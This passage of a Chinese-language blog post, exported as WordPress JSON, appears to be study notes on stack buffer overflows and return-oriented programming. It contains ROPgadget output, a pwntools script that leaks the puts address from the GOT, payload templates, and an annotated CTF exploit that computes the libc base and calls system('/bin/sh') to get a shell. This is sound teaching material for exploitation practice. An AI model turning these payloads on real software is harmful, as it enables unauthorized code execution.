ptr [rax], al ; push 1 ; jmp 0x401020\n0x000000000040107a : hlt ; nop dword ptr [rax + rax] ; ret\n0x000000000040100e : je 0x401012 ; call rax\n0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404038 ; jmp rax\n0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404038 ; jmp rax\n0x000000000040103b : jmp 0x401020\n0x0000000000401130 : jmp 0x4010c0\n0x0000000000401153 : jmp 0xffffffffb9401156\n0x00000000004010ac : jmp rax\n0x000000000040115c : leave ; ret\n0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x401020\n0x00000000004010ad : loopne 0x401115 ; nop ; ret\n0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret\n0x0000000000401157 : mov eax, 0 ; leave ; ret\n0x00000000004010a7 : mov edi, 0x404038 ; jmp rax\n0x00000000004010af : nop ; ret\n0x000000000040107b : nop dword ptr [rax + rax] ; ret\n0x000000000040112c : nop dword ptr [rax] ; jmp 0x4010c0\n0x00000000004011bd : nop dword ptr [rax] ; ret\n0x00000000004010a6 : or dword ptr [rdi + 0x404038], edi ; jmp rax\n0x00000000004011b4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret\n0x00000000004011b6 : pop r13 ; pop r14 ; pop r15 ; ret\n0x00000000004011b8 : pop r14 ; pop r15 ; ret\n0x00000000004011ba : pop r15 ; ret\n0x00000000004011b3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret\n0x00000000004011b7 : pop rbp ; pop r14 ; pop r15 ; ret\n0x0000000000401119 : pop rbp ; ret\n0x00000000004011bb : pop rdi ; ret\n0x00000000004011b9 : pop rsi ; pop r15 ; ret\n0x00000000004011b5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret\n0x0000000000401036 : push 0 ; jmp 0x401020\n0x0000000000401046 : push 1 ; jmp 0x401020\n0x0000000000401016 : ret\n0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret\n0x00000000004011c5 : sub esp, 8 ; add rsp, 8 ; ret\n0x00000000004011c4 : sub rsp, 8 ; add rsp, 8 ; ret\n0x000000000040100c : test eax, eax ; je 0x401012 ; call rax\n0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404038 ; jmp rax\n0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404038 ; jmp rax\n0x000000000040100b : test rax, rax ; je 0x401012 ; call rax\n\nUnique gadgets found: 67<\/code><\/pre>\n<p>\u8fd9\u4e2a\u7a0b\u5e8f\u5f88\u5c0f\uff0c\u53ef\u4f9b\u4f7f\u7528\u7684Gadget\u975e\u5e38\u6709\u9650\uff0c\u5176\u4e2d\u6ca1\u6709\u53ef\u4ee5\u7528\u6765\u6267\u884c\u7cfb\u7edf\u8c03\u7528\u7684Gadget\uff0c\u6240\u4ee5\u5f88\u96be\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002\u4f46\u53ef\u4ee5\u60f3\u529e\u6cd5\u5148\u83b7\u53d6\u4e00\u4e9b\u52a8\u6001\u94fe\u63a5\u5e93(\u5982libc)\u7684\u52a0\u8f7d\u5730\u5740\uff0c\u518d\u4f7f\u7528libc\u4e2d\u7684Gadget\u6784\u9020\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u7684ROP\u3002<br>\u7a0b\u5e8f\u4e2d\u5e38\u5e38\u6709\u50cfputs\u3001gets\u7b49libc\u63d0\u4f9b\u7684\u5e93\u51fd\u6570\uff0c\u8fd9\u4e9b\u51fd\u6570\u518d\u5185\u5b58\u4e2d\u7684\u5730\u5740\u4f1a\u5199\u5728\u7a0b\u5e8f\u7684GOT\u8868\u4e2d\uff0c\u5f53\u7a0b\u5e8f\u8c03\u7528\u5e93\u51fd\u6570\u65f6\uff0c\u4f1a\u5728GOT\u8868\u4e2d\u8bfb\u51fa\u5bf9\u5e94\u51fd\u6570\u5728\u5185\u5b58\u4e2d\u7684\u5730\u5740\uff0c\u7136\u540e\u8df3\u8f6c\u5230\u8be5\u5730\u5740\u6267\u884c\uff0c\u6240\u4ee5\u5148\u5229\u7528puts\u51fd\u6570\u6253\u5370\u5e93\u51fd\u6570\u5730\u5740\uff0c\u51cf\u6389\u8be5\u5e93\u51fd\u6570\u4e0elibc\u52a0\u8f7d\u57fa\u5730\u5740\u7684\u504f\u79fb\uff0c\u5c31\u53ef\u4ee5\u8ba1\u7b97\u51falibc\u7684\u57fa\u5730\u5740\u3002<\/p>\n<pre class=\"wp-block-code\"><code>.plt:0000000000401030\n.plt:0000000000401030 ; Attributes: thunk\n.plt:0000000000401030\n.plt:0000000000401030 ; int puts(const char *s)\n.plt:0000000000401030 _puts           proc near      ; CODE XREF:main+F&darr;p\n.plt:0000000000401030                 jmp     cs:off_404018\n.plt:0000000000401030 _puts           endp\n.plt:0000000000401030\n.plt:0000000000401036 ; --------------------------------------------------<\/code><\/pre>\n<p>puts\u51fd\u6570\u88ab\u4fdd\u5b58\u5728<code>0x404018<\/code>\u4f4d\u7f6e\uff0c\u53ea\u8981\u8c03\u7528<code>puts(0x404018)<\/code>,\u5c31\u4f1a\u6253\u5370puts\u51fd\u6570\u5728libc\u4e2d\u7684\u5730\u5740\u3002<\/p>\n<pre class=\"wp-block-code\"><code>from pwn import *\np=process(&#039;.\/rop&#039;)\npop_rdi=0x4011bb\nputs_got=0x404018\nputs=0x401030\np.sendline(b&#039;a&#039;*18+p64(pop_rdi)+p64(puts_got)+p64(puts))\np.recvuntil(b&#039;\\n&#039;)\naddr=u64(p.recv(6).ljust(8,b&#039;\\x00&#039;))\nprint(hex(addr))\n<\/code><\/pre>\n<pre class=\"wp-block-code\"><code>[+] Starting local process &#039;.\/rop&#039;: pid 25192\n0x7f8f18a09210\n[*] Stopped process &#039;.\/rop&#039; (pid 25192)<\/code><\/pre>\n<p>\u6839\u636eputs\u51fd\u6570\u5728libc\u5e93\u4e2d\u7684\u504f\u79fb\u5730\u5740\uff0c\u5c31\u53ef\u4ee5\u8ba1\u7b97\u51falibc\u7684\u57fa\u5730\u5740\uff0c\u7136\u540e\u53ef\u4ee5\u5229\u7528libc\u4e2d\u7684gadget\u6784\u9020\u53ef\u4ee5\u6267\u884c&#8221;\/bin\/sh&#8221;\u7684ROP\uff0c\u4ece\u800c\u83b7\u5f97shell\u3002<\/p>\n<h2 class=\"wp-block-heading\" id=\"\u53c2\u6570\u4f20\u9012\"><span class=\"ez-toc-section\" id=\"%E5%8F%82%E6%95%B0%E4%BC%A0%E9%80%92\"><\/span>\u53c2\u6570\u4f20\u9012<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>32\u4f4d\u4f20\u53c2\u662f\u901a\u8fc7\u6808\u6765\u4f20\u9012<\/p>\n<p>\u5229\u7528write\u51fd\u6570\u6cc4\u9732libc\u4e2dwrite\u7684\u5730\u5740\u7684payload\u6a21\u677f\uff1a<\/p>\n<p><code>payload = &#039;a&#039;  *xxx + p32(write_plt) + p32(ret_addr) + p32(1) + p32(got_write) + p32(4)<\/code><\/p>\n<p>32\u4f4d\u542b\u53c2\u8c03\u7528\u6a21\u677f\uff1a<\/p>\n<p><code>payload = &#039;a&#039; * xxx + p32(fun1_addr) + p32(fun2_addr) + p32(arg_1) + p32(arg_2)&hellip;.<\/code><\/p>\n<p>64\u4f4d\u524d\u516d\u4e2a\u53c2\u6570\u4f20\u9012\u662f\u9760\u5bc4\u5b58\u5668rdi\uff0crsi\uff0cedx\uff0cecx\uff0cr8\uff0cr9\uff0c\u7136\u540e\u518d\u6808\u3002<\/p>\n<p>\u6211\u4eec\u4ec5\u80fd\u63a7\u5236\u6808\u4e2d\u7684\u6570\u636e\uff0c\u56e0\u6b64\u9700\u8981\u5229\u7528\u4e00\u4e9bgadgets\u3002<\/p>\n<p>pop | ret \u5229\u7528\u6a21\u677f\uff1a<\/p>\n<p><code>payload = &#039;a&#039; * xx + p64(gadget_addr) + p64(rdi) + p64(func_addr)<\/code><\/p>\n<p>pop | call \u5229\u7528\u6a21\u677f\uff1a<\/p>\n<p><code>payload = &#039;a&#039; * xx + p64(gadget) + p64(func_addr) + p64(rdi)<\/code><\/p>\n<p>\u4e00\u4e2ardi\u9002\u5408\u4e00\u4e2a\u53c2\u6570\u7684\u51fd\u6570\u4f20\u53c2                                           <a href=\"https:\/\/blog.csdn.net\/wlz_lc_4\/article\/details\/104147937#ROP_0\" target=\"_blank\" rel=\"noreferrer noopener\">\u53c2\u8003\u94fe\u63a5<\/a><\/p>\n<p>\u4e09\u4e2a\u53c2\u6570\u7528__libc_csu_init()\u8fd9\u4e2a\u51fd\u6570                                    <a href=\"https:\/\/segmentfault.com\/a\/1190000007406442\" target=\"_blank\" rel=\"noreferrer noopener\">\u53c2\u8003\u94fe\u63a5<\/a><\/p>\n<p>\u516d\u4e2a\u53c2\u6570\u53ef\u4ee5\u7528_dl_runtime_resolve()\u8fd9\u4e2a\u51fd\u6570                   <a rel=\"noreferrer noopener\" href=\"https:\/\/www.vuln.cn\/6643\" target=\"_blank\">\u53c2\u8003\u94fe\u63a5<\/a><\/p>\n<p>\u4e0b\u9762\u6211\u4eec\u770b\u9053\u7b80\u5355\u7684\u4f8b\u9898\uff1a<\/p>\n<p>\u94fe\u63a5\uff1ahttps:\/\/pan.baidu.com\/s\/12DpUsJyep7zvFd03ka5uaQ<br>\u63d0\u53d6\u7801\uff1aabcd<\/p>\n<p>\u5b98\u65b9wp\u5982\u4e0b(\u6211\u53ea\u4fdd\u7559\u4e86exp\u7684\u5173\u952e\u90e8\u5206\u5e76\u52a0\u4e86\u90e8\u5206\u6ce8\u91ca)\uff1a<\/p>\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/dreamc.top\/wp-content\/uploads\/2022\/02\/QHP%408FU1S49412OVSEE.png?w=1000&#038;ssl=1\" alt=\"\" class=\"wp-image-480\"><\/figure>\n<pre class=\"wp-block-code\"><code>test_thread = 0x4011b6\nprdi = 0x0000000000401313\nret = 0x000000000040101a\n\npay = b&#039;c&#039;* (0x30-4)                          #\u5783\u573e\u6570\u636e\uff0c\u4e00\u76f4\u586b\u5145\u81f3i\npay += p32(0x30-4)                            # int i\uff0c\u9632\u6b62\u88ab\u610f\u5916\u6539\u53d8\npay += p64(0)                                 # \u586b\u5145rbp\npay += p64(prdi) +p64(binary.got[&#039;puts&#039;])     #\u5f15\u7528got\u8868\u7684puts\u7ed9rdi\npay += p64(binary.plt[&#039;puts&#039;])\npay += p64(test_thread)                       #\u8fd4\u56detest_thread\u51fd\u6570\nsl(pay)\nru(b&#039;\\n&#039;)\nputs = uu64(ru(b&#039;\\n&#039;, drop=True))             #\u5f97\u5230put\u5730\u5740\nleak(&#039;puts&#039;, puts)\n\nlbase = puts-libc.sym[&#039;puts&#039;]                 #\u5f97\u5230libc\u57fa\u5740\nsystem = lbase+libc.sym[&#039;system&#039;]             #\u5f97\u5230system\u5730\u5740\nbinsh = lbase+next(libc.search(b&#039;\/bin\/sh&#039;))   #\u5f97\u5230binsh\u5730\u5740\npay = b&#039;c&#039;* (0x30-4)                          #\u5783\u573e\u6570\u636e\uff0c\u4e00\u76f4\u586b\u5145\u81f3i\npay += p32(0x30-4)                            # int i\uff0c\u9632\u6b62\u88ab\u610f\u5916\u6539\u53d8\npay += p64(0)                                 # \u586b\u5145rbp\npay += p64(prdi) +p64(binsh)                  #binsh\u4f20\u7ed9rdi\npay += p64(ret)                               # \u6808\u5bf9\u9f50\npay += p64(system)                            # \u8fd4\u56desystem\u51fd\u6570<\/code><\/pre>\n<p>\u5927\u6982\u5c31\u662f\u8fd9\u4e48\u4e2a\u6d41\u7a0b\uff0c\u4e0d\u61c2\u53ef\u4ee5\u7559\u8a00<\/p>","protected":false},"excerpt":{"rendered":"<p>\u7f13\u51b2\u533a\u6ea2\u51fa\u539f\u7406 \u9884\u5907\u77e5\u8bc6 \u6211\u4eec\u5148\u6765\u770b\u4e0b\u7f13\u51b2\u533a\u662f\u4ec0\u4e48\uff0c\u5b83\u5c31\u662f\u5185\u5b58\u4e2d\u9884\u7559\u6307\u5b9a\u5927\u5c0f\u7684\u5b58\u50a8\u7a7a\u95f4\u7528\u6765\u5bf9I\/O\u7684\u6570\u636e\u505a\u4e34\u65f6 [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-378","post","type-post","status-publish","format-standard","hentry","category-studyrecords"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=378"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/378\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}